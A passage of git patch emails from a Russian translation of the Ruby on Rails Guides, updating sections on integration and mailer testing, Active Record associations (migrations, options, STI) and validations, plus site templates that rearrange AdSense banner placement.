[`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). - -Для выполнения запросов у вас есть [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html). - -Если хотите изменить сессию или состояние вашего интеграционного теста, вам поможет [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html). - -### Реализация интеграционного теста - -Давайте добавим интеграционный тест в наше приложение блога. Начнем с основного процесса создания новой статьи блога, чтобы убедиться, что все работает правильно. - -Начнем с создания скелета нашего интеграционного теста: - -```bash -$ bin/rails generate integration_test blog_flow -``` - -Он должен создать файл для размещения теста, и в результате предыдущей команды вы должны увидеть: - -```bash - invoke test_unit - create test/integration/blog_flow_test.rb -``` - -Теперь откроем этот файл и напишем наше первое утверждение: - -```ruby -require 'test_helper' - -class BlogFlowTest < ActionDispatch::IntegrationTest - test "can see the welcome page" do - get "/" - assert_select "h1", "Welcome#index" - end -end -``` - -Как помните из раздела "Тестирование вьюх", мы раскрыли `assert_select` для выборки результирующего HTML запроса. - -#### Создание интеграции статей - -Как насчет тестирования возможности создавать новую статью в нашем блоге и просматривать полученную статью. - -```ruby -test "can create an article" do - get "/articles/new" - assert_response :success - - post "/articles", - params: { article: { title: "can create", body: "article successfully." } } - assert_response :redirect - follow_redirect! - assert_response :success - assert_select "p", "Title:\n can create" -end -``` - -Давайте разобъем этот тест на кусочки, чтобы понять его. - -Мы начинаем с вызова экшна `:new` контроллера Articles. Этот запрос должен быть успешным. - -После этого мы делаем запрос post к экшну `:create` нашего контроллера Articles: - -```ruby -post "/articles", - params: { article: { title: "can create", body: "article successfully." } } -assert_response :redirect -follow_redirect! -``` - -Следующие две строчки — это обработка редиректа, который мы настроили при создании новой статьи. - -NOTE: Не забывайте вызвать `follow_redirect!` Если планируете сделать последовательные запросы после выполнения редиректа. - -Наконец, мы убеждаемся, что наш отклик был успешным, и нашу статью можно прочесть на странице. - -#### Идем дальше - -У нас получилось протестировать маленький процесс посещения нашего блога и создания новой статьи. Если мы хотим идти дальше, мы можем добавить тесты для комментирования, удаления статей и редактирования комментариев. Интеграционные тесты — это отличное место для экспериментов с различными сценариями использования приложения. - (testing-your-mailers) Тестирование почтовых рассыльщиков ---------------------------------------------------------- @@ -1053,10 +1052,13 @@ require 'test_helper' class UserMailerTest < ActionMailer::TestCase test "invite" do + # Создайте email и сохраните его для будущих утверждений + email = UserMailer.create_invite('me@example.com', + 'friend@example.com', Time.now) + # Отправить письмо, затем проверить, что оно попало в очередь assert_emails 1 do - email = UserMailer.create_invite('me@example.com', - 'friend@example.com', Time.now).deliver_now + email.deliver_now end # Проверить тело отправленного письма, что оно содержит то, что мы ожидаем @@ -1146,16 +1148,3 @@ class ProductTest < ActiveJob::TestCase end end ``` - -Другие подходы к тестированию ------------------------------ - -Тестирование, основанное на встроенном `minitest`, не является единственным способом тестировать приложение на Rails. Разработчики на Rails прибегают к различным подходам и вспомогательным инструментам для тестирования, включающим: - -* [NullDB](http://avdi.org/projects/nulldb/), способ ускорить тестирование, избегая использование базы данных. -* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), замена для фикстур. -* [Fixture Builder](https://github.com/rdy/fixture_builder), инструмент, компилирующий фабрики Ruby в фикстуры, перед запуском теста. -* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), используйте MiniTest::Spec DSL в ваших тестах rails. -* [Shoulda](http://www.thoughtbot.com/projects/shoulda), расширение для `test/unit` с дополнительными хелперами, макросами и утверждениями. -* [RSpec](http://relishapp.com/rspec), фреймворк разработки, основанной на поведении. -* [Capybara](http://jnicklas.github.com/capybara/), Фреймворк для приемочного тестирования веб-приложений. From 60b49deb2deb88faf6c0f91ed13f70269906c01d Mon Sep 17 00:00:00 2001 From: "V.Kolesnikov" Date: Tue, 22 Sep 2015 16:52:14 +0300 Subject: [PATCH 109/932] Update upgrading_ruby_on_rails.md --- source/upgrading_ruby_on_rails.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 6452caa0..20c98398 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -40,7 +40,7 @@ Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh] ... ``` -Не забывайте просмтривать разницу, чтобы увидеть какие-либо неожидаемые изменения. +Не забывайте просматривать разницу, чтобы увидеть какие-либо неожидаемые изменения. (Upgrading from Rails 4.1 to Rails 4.2) Обновление с Rails 4.1 на Rails 4.2 --------------------------------------------------------------------------- From 48c9e775a8f19a9fa2cb4f8eeb5e5cb9aeb3a5dc Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 26 Sep 2015 12:27:35 +0300 Subject: [PATCH 110/932] update associations guide --- source/association_basics.md | 204 ++++++++++++++++++++++++++++------- source/index.yml | 4 +- 2 files changed, 166 insertions(+), 42 deletions(-) diff --git a/source/association_basics.md b/source/association_basics.md index 52e92844..06745201 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -99,13 +99,13 @@ class CreateOrders < ActiveRecord::Migration def change create_table :customers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :orders do |t| t.belongs_to :customer, index: true t.datetime :order_date - t.timestamps + t.timestamps null: false end end end @@ -130,18 +130,27 @@ class CreateSuppliers < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| t.belongs_to :supplier, index: true t.string :account_number - t.timestamps + t.timestamps null: false end end end ``` +В зависимости от применения, возможно потребуется создать индекс уникальности и/или ограничение внешнего ключа на указанный столбец таблицы accounts. В этом случае определение столбца может выглядеть так: + +```ruby +create_table :accounts do |t| + t.belongs_to :supplier, index: true, unique: true, foreign_key: true + # ... +end +``` + ### Связь `has_many` Связь `has_many` указывает на соединение один-ко-многим с другой моделью. Эта связь часто бывает на "другой стороне" связи `belongs_to`. Эта связь указывает на то, что каждый экземпляр модели имеет ноль или более экземпляров другой модели. Например, в приложении, содержащем покупателей и заказы, модель customer может быть объявлена следующим образом: @@ -163,13 +172,13 @@ class CreateCustomers < ActiveRecord::Migration def change create_table :customers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :orders do |t| t.belongs_to :customer, index: true t.datetime :order_date - t.timestamps + t.timestamps null: false end end end @@ -205,19 +214,19 @@ class CreateAppointments < ActiveRecord::Migration def change create_table :physicians do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :patients do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :appointments do |t| t.belongs_to :physician, index: true t.belongs_to :patient, index: true t.datetime :appointment_date - t.timestamps + t.timestamps null: false end end end @@ -286,19 +295,19 @@ class CreateAccountHistories < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| t.belongs_to :supplier, index: true t.string :account_number - t.timestamps + t.timestamps null: false end create_table :account_histories do |t| t.belongs_to :account, index: true t.integer :credit_rating - t.timestamps + t.timestamps null: false end end end @@ -327,12 +336,12 @@ class CreateAssembliesAndParts < ActiveRecord::Migration def change create_table :assemblies do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :parts do |t| t.string :part_number - t.timestamps + t.timestamps null: false end create_table :assemblies_parts, id: false do |t| @@ -366,13 +375,13 @@ class CreateSuppliers < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| t.integer :supplier_id t.string :account_number - t.timestamps + t.timestamps null: false end add_index :accounts, :supplier_id @@ -450,10 +459,10 @@ class CreatePictures < ActiveRecord::Migration t.string :name t.integer :imageable_id t.string :imageable_type - t.timestamps + t.timestamps null: false end - add_index :pictures, :imageable_id + add_index :pictures, [:imageable_type, :imageable_id] end end ``` @@ -466,7 +475,7 @@ class CreatePictures < ActiveRecord::Migration create_table :pictures do |t| t.string :name t.references :imageable, polymorphic: true, index: true - t.timestamps + t.timestamps null: false end end end @@ -496,7 +505,7 @@ class CreateEmployees < ActiveRecord::Migration def change create_table :employees do |t| t.references :manager, index: true - t.timestamps + t.timestamps null: false end end end @@ -573,7 +582,7 @@ end Если вы создали связь `has_and_belongs_to_many`, необходимо обязательно создать соединительную таблицу. Если имя соединительной таблицы явно не указано с использованием опции `:join_table`, Active Record создает имя, используя алфавитный порядок имен классов. Поэтому соединение между моделями customer и order по умолчанию даст значение имени таблицы "customers_orders", так как "c" идет перед "o" в алфавитном порядке. -WARNING: Приоритет между именами модели рассчитывается с использованием оператора `<` для `String`. Это означает, что если строки имеют разную длину. и в своей короткой части они равны, тогда более длинная строка рассматривается как большая, по сравнению с короткой. Например, кто-то ожидает, что таблицы "paper_boxes" и "papers" создадут соединительную таблицу "papers_paper_boxes" поскольку имя "paper_boxes" длинее, но фактически будет сгенерирована таблица с именем "paper_boxes_papers" (поскольку знак подчеркивания "\_" лексикографически _меньше_, чем "s" в обычной кодировке). +WARNING: Приоритет между именами модели рассчитывается с использованием оператора `<=>` для `String`. Это означает, что если строки имеют разную длину. и в своей короткой части они равны, тогда более длинная строка рассматривается как большая, по сравнению с короткой. Например, кто-то ожидает, что таблицы "paper_boxes" и "papers" создадут соединительную таблицу "papers_paper_boxes" поскольку имя "paper_boxes" длинее, но фактически будет сгенерирована таблица с именем "paper_boxes_papers" (поскольку знак подчеркивания "\_" лексикографически _меньше_, чем "s" в обычной кодировке). Какое бы ни было имя, вы должны вручную сгенерировать соединительную таблицу в соответствующей миграции. Например, рассмотрим эти связи: @@ -605,6 +614,19 @@ end Мы передаем `id: false` в `create_table`, так как эта таблица не представляет модель. Это необходимо, чтобы связь работала правильно. Если вы видите странное поведение в связи `has_and_belongs_to_many`, например, искаженные ID моделей, или исключения в связи с конфликтом ID, скорее всего вы забыли убрать первичный ключ. +Также можно использовать метод `create_join_table` + +```ruby +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration + def change + create_join_table :assemblies, :parts do |t| + t.index :assembly_id + t.index :part_id + end + end +end +``` + ### Управление областью видимости связей По умолчанию связи ищут объекты только в пределах области видимости текущего модуля. Это важно, когда вы объявляете модели Active Record внутри модуля. Например: @@ -685,7 +707,7 @@ c.first_name = 'Manny' c.first_name == o.customer.first_name # => false ``` -Это произошло потому, что c и o.customer это два разных представления в памяти одних и тех же данных, и ни одно из них автоматически не обновляется при изменении другого. Active Record предоставляет опцию `:inverse_of`, чтобы вы могли его проинформировать об этих зависимостях: +Это произошло потому, что `c` и `o.customer` это два разных представления в памяти одних и тех же данных, и ни одно из них автоматически не обновляется при изменении другого. Active Record предоставляет опцию `:inverse_of`, чтобы вы могли его проинформировать об этих зависимостях: ```ruby class Customer < ActiveRecord::Base @@ -716,10 +738,10 @@ c.first_name == o.customer.first_name # => true Каждая связь попытается автоматически найти противоположную связь и установить опцию `:inverse_of` эвристически (основываясь на имени связи). Поддерживается большинство связей со стандартными именами. Однако, связям, содержащим следующие опции, противоположности не будут установлены автоматически: -* :conditions -* :through -* :polymorphic -* :foreign_key +* `:conditions` +* `:through` +* `:polymorphic` +* `:foreign_key` Подробная информация по связи belongs_to ---------------------------------------- @@ -796,7 +818,7 @@ NOTE: Когда устанавливаете новую связь `has_one` и Работает так же, как и вышеприведенный `create_association`, но вызывает `ActiveRecord::RecordInvalid`, если запись невалидна. -### Опции для `belongs_to` +### (options-for-belongs-to) Опции для `belongs_to` Хотя Rails использует разумные значения по умолчанию, работающие во многих ситуациях, бывают случаи, когда хочется изменить поведение связи `belongs_to`. Такая настройка легко выполнима с помощью передачи опций и блоков со скоупом при создании связи. Например, эта связь использует две такие опции: @@ -814,10 +836,12 @@ end * `:counter_cache` * `:dependent` * `:foreign_key` +* `:primary_key` * `:inverse_of` * `:polymorphic` * `:touch` * `:validate` +* `:optional` #### `:autosave` @@ -859,7 +883,9 @@ end С этим объявлением, Rails будет хранить в кэше актуальное значение и затем возвращать это значение в ответ на метод `size`. -Хотя опция `:counter_cache` определяется в модели, включающей определение `belongs_to`, фактический столбец должен быть добавлен в _связанную_ модель. В вышеописанном случае, необходимо добавить столбец, названный `orders_count` в модель `Customer`. Имя столбца по умолчанию можно переопределить, если вы этого желаете: +Хотя опция `:counter_cache` определяется в модели, включающей определение `belongs_to`, фактический столбец должен быть добавлен в _связанную_ (`has_many`) модель. В вышеописанном случае, необходимо добавить столбец, названный `orders_count` в модель `Customer`. + +Имя столбца по умолчанию можно переопределить, указав произвольное имя столбца в объявлении `counter_cache` вместо `true`. Например, для использования `count_of_orders` вместо `orders_count`: ```ruby class Order < ActiveRecord::Base @@ -870,6 +896,8 @@ class Customer < ActiveRecord::Base end ``` +NOTE: Опцию :counter_cache необъодимо указывать только на стороне `belongs_to` связи. + Столбцы кэша счетчика добавляются в список атрибутов модели только для чтения посредством `attr_readonly`. #### `:dependent` @@ -894,6 +922,24 @@ end TIP: В любом случае, Rails не создаст столбцы внешнего ключа за вас. Вам необходимо явно определить их в своих миграциях. +##### `:primary_key` + +По соглашению Rails предполагает, что для первичного ключа используется столбец `id` в таблице. Опция `:primary_key` позволяет указать иной столбец. + +Например, имеется таблица `users` с `guid` в качестве первичного ключа. Если мы хотим отдельную таблицу `todos`, содержащую внешний ключ `user_id` из столбца `guid`, для этого можно использовать `primary_key` следующим образом: + +```ruby +class User < ActiveRecord::Base + self.primary_key = 'guid' # primary key is guid and not id +end + +class Todo < ActiveRecord::Base + belongs_to :user, primary_key: 'guid' +end +``` + +При выполнении `@user.todos.create`, у записи `@todo` будет значение `user_id` таким же, как значение `guid` у `@user`. + #### `:inverse_of` Опция `:inverse_of` определяет имя связи `has_many` или `has_one`, являющейся противополжностью для этой связи. Не работает в комбинации с опциями `:polymorphic`. @@ -914,7 +960,7 @@ end #### `:touch` -Если установите опцию `:touch` в `:true`, то временные метки `updated_at` или `updated_on` на связанном объекте будут установлены в текущее время всякий раз, когда этот объект будет сохранен или уничтожен: +Если установите опцию `:touch` в `true`, то временные метки `updated_at` или `updated_on` на связанном объекте будут установлены в текущее время всякий раз, когда этот объект будет сохранен или уничтожен: ```ruby class Order < ActiveRecord::Base @@ -938,6 +984,10 @@ end Если установите опцию `:validate` в `true`, тогда связанные объекты будут проходить валидацию всякий раз, когда вы сохраняете этот объект. По умолчанию она равна `false`: связанные объекты не проходят валидацию, когда этот объект сохраняется. +##### `:optional` + +Если установить `:optional` в `true`, тогда наличие связанных объектов не будет валидироваться. По умолчанию установлено в `false`. + ### Скоупы для `belongs_to` Иногда хочется настроить запрос, используемый `belongs_to`. Такая настройка может быть достигнута с помощью блока скоупа. Например: @@ -1401,7 +1451,13 @@ WARNING: Объекты будут _всегда_ удаляться из баз #### `collection.clear` -Метод `collection.clear` убирает каждый объект из коллекции. Это уничтожает связанные объекты, если они связаны с `dependent: :destroy`, удаляет их непосредственно из базы данных, если `dependent: :delete_all`, и в противном случае устанавливает их внешние ключи в `NULL`. +Метод `collection.clear` убирает каждый объект из коллекции в соответствии со стратегией, определенной опцией `dependent`. Если опция не указана, он следует стратегии по умолчанию. Стратегия по умолчанию для `has_many :through` это `delete_all`, а для связей `has_many` — установить их внешние ключи в `NULL`. + +```ruby +@customer.orders.clear +``` + +WARNING: Объекты будут удалены, если они связаны с помощью `dependent: :destroy`, как и с помощью `dependent: :delete_all`. #### `collection.empty?` @@ -1440,24 +1496,34 @@ WARNING: Объекты будут _всегда_ удаляться из баз #### `collection.exists?(...)` -Метод `collection.exists?` проверяет, существует ли в коллекции объект, отвечающий представленным условиям. Он использует тот же синтаксис и опции, что и `ActiveRecord::Base.exists?`. +Метод `collection.exists?` проверяет, существует ли в коллекции объект, отвечающий представленным условиям. Он использует тот же синтаксис и опции, что и [`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). #### `collection.build(attributes = {}, ...)` -Метод `collection.build` возвращает один или более объектов связанного типа. Эти объекты будут экземплярами с переданными атрибутами, будет создана ссылка через их внешние ключи, но связанные объекты _не_ будут пока сохранены. +Метод `collection.build` возвращает один или массив объектов связанного типа. Объект(ы) будут экземплярами с переданными атрибутами, будет создана ссылка через их внешние ключи, но связанные объекты _не_ будут пока сохранены. ```ruby @order = @customer.orders.build(order_date: Time.now, order_number: "A12345") + +@orders = @customer.orders.build([ + { order_date: Time.now, order_number: "A12346" }, + { order_date: Time.now, order_number: "A12347" } +]) ``` #### `collection.create(attributes = {})` -Метод `collection.create` возвращает новый объект связанного типа. Этот объект будет экземпляром с переданными атрибутами, будет создана ссылка через его внешний ключ, и, если он пройдет валидации, определенные в связанной модели, связанный объект _будет_ сохранен +Метод `collection.create` возвращает один или массив новых объектов связанного типа. Объект(ы) будут экземплярами с переданными атрибутами, будет создана ссылка через его внешний ключ, и, если он пройдет валидации, определенные в связанной модели, связанный объект _будет_ сохранен ```ruby @order = @customer.orders.create(order_date: Time.now, order_number: "A12345") + +@orders = @customer.orders.create([ + { order_date: Time.now, order_number: "A12346" }, + { order_date: Time.now, order_number: "A12347" } +]) ``` #### `collection.create!(attributes = {})` @@ -1470,7 +1536,7 @@ WARNING: Объекты будут _всегда_ удаляться из баз ```ruby class Customer < ActiveRecord::Base - has_many :orders, dependent: :delete_all, validate: :false + has_many :orders, dependent: :delete_all, validate: false end ``` @@ -1479,6 +1545,7 @@ end * `:as` * `:autosave` * `:class_name` +* `:counter_cache` * `:dependent` * `:foreign_key` * `:inverse_of` @@ -1506,6 +1573,10 @@ class Customer < ActiveRecord::Base end ``` +##### `:counter_cache` + +Эта опция используется для настройки произвольно названного `:counter_cache`. Эту опцию нужно использовать только если вы изменили имя вашего `:counter_cache` у [связи belongs_to](#options-for-belongs-to). + #### `:dependent` Управляет тем, что произойдет со связанными объектами, когда его владелец будет уничтожен: @@ -1546,7 +1617,7 @@ end По соглашению, Rails предполагает, что столбец, используемый для хранения первичного ключа, это `id`. Вы можете переопределить это и явно определить первичный ключ с помощью опции `:primary_key`. -Допустим, в таблице `users` есть `id` в качестве primary_key, но также имеется столбец `guid`. А также имеется требование, что таблица `todos` должна содержать значение столбца `guid`, а не значение `id`. Это достигается следующим образом +Допустим, в таблице `users` есть `id` в качестве primary_key, но также имеется столбец `guid`. Имеется требование, что таблица `todos` должна содержать значение столбца `guid`, а не значение `id`. Это достигается следующим образом: ```ruby class User < ActiveRecord::Base @@ -1554,7 +1625,7 @@ class User < ActiveRecord::Base end ``` -Теперь, если выполнить `@user.todos.create`, то в запись `@todo` значение `user_id` будет таким же, как значение `guid` в `@user`. +Теперь, если выполнить `@todo = @user.todos.create`, то в запись `@todo` значение `user_id` будет таким же, как значение `guid` в `@user`. #### `:source` @@ -1916,7 +1987,7 @@ WARNING: Это не запустит колбэки на соединитель #### `collection.exists?(...)` -Метод `collection.exists?` проверяет, существует ли в коллекции объект, отвечающий представленным условиям. Он использует тот же синтаксис и опции, что и `ActiveRecord::Base.exists?`. +Метод `collection.exists?` проверяет, существует ли в коллекции объект, отвечающий представленным условиям. Он использует тот же синтаксис и опции, что и [`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). #### `collection.build(attributes = {})` @@ -1944,8 +2015,8 @@ WARNING: Это не запустит колбэки на соединитель ```ruby class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, autosave: true, - readonly: true + has_and_belongs_to_many :assemblies, -> { readonly }, + autosave: true end ``` @@ -1957,7 +2028,6 @@ end * `:foreign_key` * `:join_table` * `:validate` -* `:readonly` #### `:association_foreign_key` @@ -2204,3 +2274,57 @@ end * `proxy_association.owner` возвращает объект, в котором объявлена связь. * `proxy_association.reflection` возвращает объект reflection, описывающий связь. * `proxy_association.target` возвращает связанный объект для `belongs_to` или `has_one`, или коллекцию связанных объектов для `has_many` или `has_and_belongs_to_many`. + +Наследование с одной таблицей (STI) +----------------------------------- + +Иногда хочется совместно использовать поля и поведения различными моделями. Скажем, у нас есть модели Car, Motorcycle и Bicycle. Мы хотим совместно использовать поля `color` и `price` и некоторые методы всеми из них, но иметь некоторое специфичное поведение для каждого, а также различные контроллеры. + +Rails позволяет сделать это достаточно просто. Сначала нужно сгенерировать базовую модель Vehicle: + +```bash +$ rails generate model vehicle type:string color:string price:decimal{10.2} +``` + +Вы заметили, что мы добавили поле "type"? Так как все модели будут сохранены в одну таблицу базы данных, Rails сохранит в этот столбец имя модели, которая сохраняется. В нашем примере это может быть "Car", "Motorcycle" или "Bicycle." STI не работает без поля "type" в таблице. + +Затем мы сгенерируем три модели, унаследованные от Vehicle. Для этого можно использовать опцию `--parent=PARENT`, которая сгенерирует модель, унаследованную от указанного родителя и без эквивалентной миграции (так как таблица уже существует). + +Например, чтобы сгенерировать модель Car: + +```bash +$ rails generate model car --parent=Vehicle +``` + +Сгенерированая модель будет выглядеть так: + +```ruby +class Car < Vehicle +end +``` + +Это означает, что все поведение, добавленное в Vehicle, доступно также для Car, такое как связи, публичные методы и так далее. + +Создание автомобиля сохранит его в таблице `vehicles` с "Car" в поле `type`: + +```ruby +Car.create(color: 'Red', price: 10000) +``` + +сгенерирует следующий SQL: + +```sql +INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000) +``` + +Запрос записей автомобилей будет просто искать среди транспортных средств, которые являеются автомобилями: + +```ruby +Car.all +``` + +запустит подобный запрос: + +```sql +SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car') +``` diff --git a/source/index.yml b/source/index.yml index c29a6533..617ac475 100644 --- a/source/index.yml +++ b/source/index.yml @@ -45,8 +45,8 @@ pages: - title: Связи Active Record path: active-record-associations file: association_basics.md - revision: 263e9e468172b0f7ab6d048af260b0b50c2afa1c - date: 27/11/2014 + revision: d73a524b6e38edb3a67b4c6f1b4e12d772e7036e + date: 31/07/2015 - title: Интерфейс запросов Active Record path: active-record-query-interface From d069524c791f1aed821b58a9b9a11902a3965dd3 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 27 Sep 2015 09:31:23 +0300 Subject: [PATCH 111/932] remove railsclub banner --- app/views/static_docs/pages/show.html.haml | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index a51cef0a..7711e9b3 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -1,9 +1,7 @@ - if @page && @page.path == 'index' #main_page_banner.well - = link_to "http://railsclub.ru/", target: :_blank do - = image_tag "railsclub.png" - -# = render "shared/rsya", limit: 2 - + = render "shared/adsense" + - cache ['v1', @page] do = @page.rendered_body(self) From b05508c885798d0bf02ddb3757ca040676e8389a Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 3 Oct 2015 10:31:08 +0300 Subject: [PATCH 112/932] improve ad blocks --- app/assets/stylesheets/app.css.sass | 7 ++++++ app/views/layouts/application.html.haml | 4 ++-- app/views/shared/_adsense.html.erb | 27 ++++++++++++++++++---- app/views/static_docs/pages/show.html.haml | 12 ++++++---- 4 files changed, 40 insertions(+), 10 deletions(-) diff --git a/app/assets/stylesheets/app.css.sass b/app/assets/stylesheets/app.css.sass index 03475b9e..9af6c843 100644 --- a/app/assets/stylesheets/app.css.sass +++ b/app/assets/stylesheets/app.css.sass @@ -1,6 +1,13 @@ .well.menu padding: 5px +.well.banner300 + padding: 8px + +.banner + text-align: center + margin: 0 auto + #main_page_banner float: right width: 240px diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index d02c8ed2..257072fa 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -44,8 +44,8 @@ %a.twitter-follow-button{"data-lang" => "ru", href: "https://twitter.com/rusrails"} - if content_for?(:menu) .well.menu= yield(:menu) - .well - = render "shared/adsense" + .well.banner300.banner + = render "shared/adsense", position: 'sidebar' .span9.content.pull-left= yield .row-fluid .span12#footer diff --git a/app/views/shared/_adsense.html.erb b/app/views/shared/_adsense.html.erb index 9db49174..ccd5e87f 100644 --- a/app/views/shared/_adsense.html.erb +++ b/app/views/shared/_adsense.html.erb @@ -1,10 +1,29 @@ - + +<% case position %> +<% when 'sidebar' %> + + data-ad-slot="6089520660"> + +<% when 'top' %> + + + +<% when 'bottom' %> + + + +<% end %> + diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index 7711e9b3..c0c699bc 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -1,10 +1,14 @@ -- if @page && @page.path == 'index' - #main_page_banner.well - = render "shared/adsense" - +.banner= render "shared/adsense", position: 'top' + +-# - if @page && @page.path == 'index' +-# #main_page_banner.well +-# = 'Баннер 240x400' + - cache ['v1', @page] do = @page.rendered_body(self) +.banner= render "shared/adsense", position: 'bottom' + - content_for :menu do - cache ['v1', @page, 'menu'] do = @page.meta[:menu] From 234fa049f5ee56efcbb20436c9b133c8224a834f Mon Sep 17 00:00:00 2001 From: Grachev Mikhail Date: Sat, 3 Oct 2015 11:48:10 +0300 Subject: [PATCH 113/932] Update autoloading_and_reloading_constants.md --- source/autoloading_and_reloading_constants.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index 34eb0902..aeafaa6a 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -74,7 +74,7 @@ end [XML::SAXParser, XML] ``` -Важно понимать, что вложенность состоит из *объектов* класса и модуля, она не делеает ничего с константами, использованными для доступа к ним, и никак не относится к их именам. +Важно понимать, что вложенность состоит из *объектов* класса и модуля, она не делает ничего с константами, использованными для доступа к ним, и никак не относится к их именам. Например, хотя это определение похоже на предыдущее: From 841dbf0d502e259b745eb9de1a4c1c6554225b89 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 4 Oct 2015 09:39:08 +0300 Subject: [PATCH 114/932] update validations guide --- source/active_record_validations.md | 97 ++++++++++++++++++++++++----- source/index.yml | 4 +- 2 files changed, 83 insertions(+), 18 deletions(-) diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 175fda8e..f82840c7 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -31,7 +31,7 @@ Person.create(name: nil).valid? # => false Валидации используются, чтобы быть уверенными, что только валидные данные сохраняются в вашу базу данных. Например, для вашего приложения может быть важно, что каждый пользователь предоставил валидный электронный и почтовый адреса. Валидации на уровне модели - наилучший способ убедиться, что в базу данных будут сохранены только валидные данные. Они не зависят от базы данных, не могут быть обойдены конечными пользователями и удобны в тестировании и обслуживании. Rails представляет простоту в обслуживании, представляет встроенные хелперы для общих нужд, а также позволяет создавать свои собственные методы валидации. -Есть несколько способов валидации данных, прежде чем они будут сохранены в вашу базу данных, включая ограничения, встроенные в базу данных, валидации на клиентской части, валидации на уровне контроллера и валидации на уровне модели. Вкратце о плюсах и минусах: +Есть несколько способов валидации данных, прежде чем они будут сохранены в вашу базу данных, включая ограничения, встроенные в базу данных, валидации на клиентской части и валидации на уровне контроллера. Вкратце о плюсах и минусах: * Ограничения базы данных и/или хранимые процедуры делают механизмы валидации зависимыми от базы данных, что делает тестирование и поддержку более трудными. Однако, если ваша база данных используется другими приложениями, валидация на уровне базы данных может безопасно обрабатывать некоторые вещи (такие как уникальность в нагруженных таблицах), которые затруднительно выполнять по другому. * Валидации на клиентской части могут быть очень полезны, но в целом ненадежны, если используются в одиночку. Если они используют JavaScript, они могут быть пропущены, если JavaScript отключен в клиентском браузере. Однако, если этот способ комбинировать с другими, валидации на клиентской части могут быть удобным способом предоставить пользователям немедленную обратную связь при использовании вашего сайта. @@ -75,7 +75,7 @@ CAUTION: Есть разные методы изменения состояни * `update` * `update!` -Версии с восклицательным знаком (т.е. `save!`) вызывают исключение, если запись недействительна. Невосклицательные версии не вызывают, `save` и `update` возвращают `false`, `create` возвращает объект. +Версии с восклицательным знаком (т.е. `save!`) вызывают исключение, если запись недействительна. Невосклицательные версии не вызывают: `save` и `update` возвращают `false`, `create` возвращает объект. ### Пропуск валидаций @@ -161,7 +161,23 @@ end >> Person.create.errors[:name].any? # => true ``` -Мы рассмотрим ошибки валидации подробнее в разделе [Работаем с ошибками валидации](#working-with-validation-errors). А сейчас обратимся к встроенным валидационным хелперам, предоставленным Rails по умолчанию. +Мы рассмотрим ошибки валидации подробнее в разделе [Работаем с ошибками валидации](#working-with-validation-errors). + +### `errors.details` (Rails 5.0) + +Чтобы проверить, какая валидация упала на невалидном атрибуте, можно исплоьзовать `errors.details[:attribute]`. Он возвращает массив хэшей с ключем `:error`, чтобы получить символ валидатора: + +```ruby +class Person < ActiveRecord::Base + validates :name, presence: true +end + +>> person = Person.new +>> person.valid? +>> person.errors.details[:name] #=> [{error: :blank}] +``` + +Использование `details` с собственным валидатором раскрыто в разделе [Работаем с ошибками валидации](#working-with-validation-errors). Валидационные хелперы --------------------- @@ -174,7 +190,9 @@ Active Record предлагает множество предопределен ### `acceptance` -Этот метод проверяет, что чекбокс в пользовательском интерфейсе был нажат, когда форма была подтверждена. Обычно используется, когда пользователю нужно согласиться с условиями использования вашего приложения, подтвердить прочтение некоторого текста или выполнить любое подобное действие. Валидация очень специфична для веб приложений, и ее принятие не нужно записывать куда-либо в базу данных (если у вас нет поля для него, хелпер всего лишь создаст виртуальный атрибут). +Этот метод проверяет, что чекбокс в пользовательском интерфейсе был нажат, когда форма была подтверждена. Обычно используется, когда пользователю нужно согласиться с условиями использования вашего приложения, 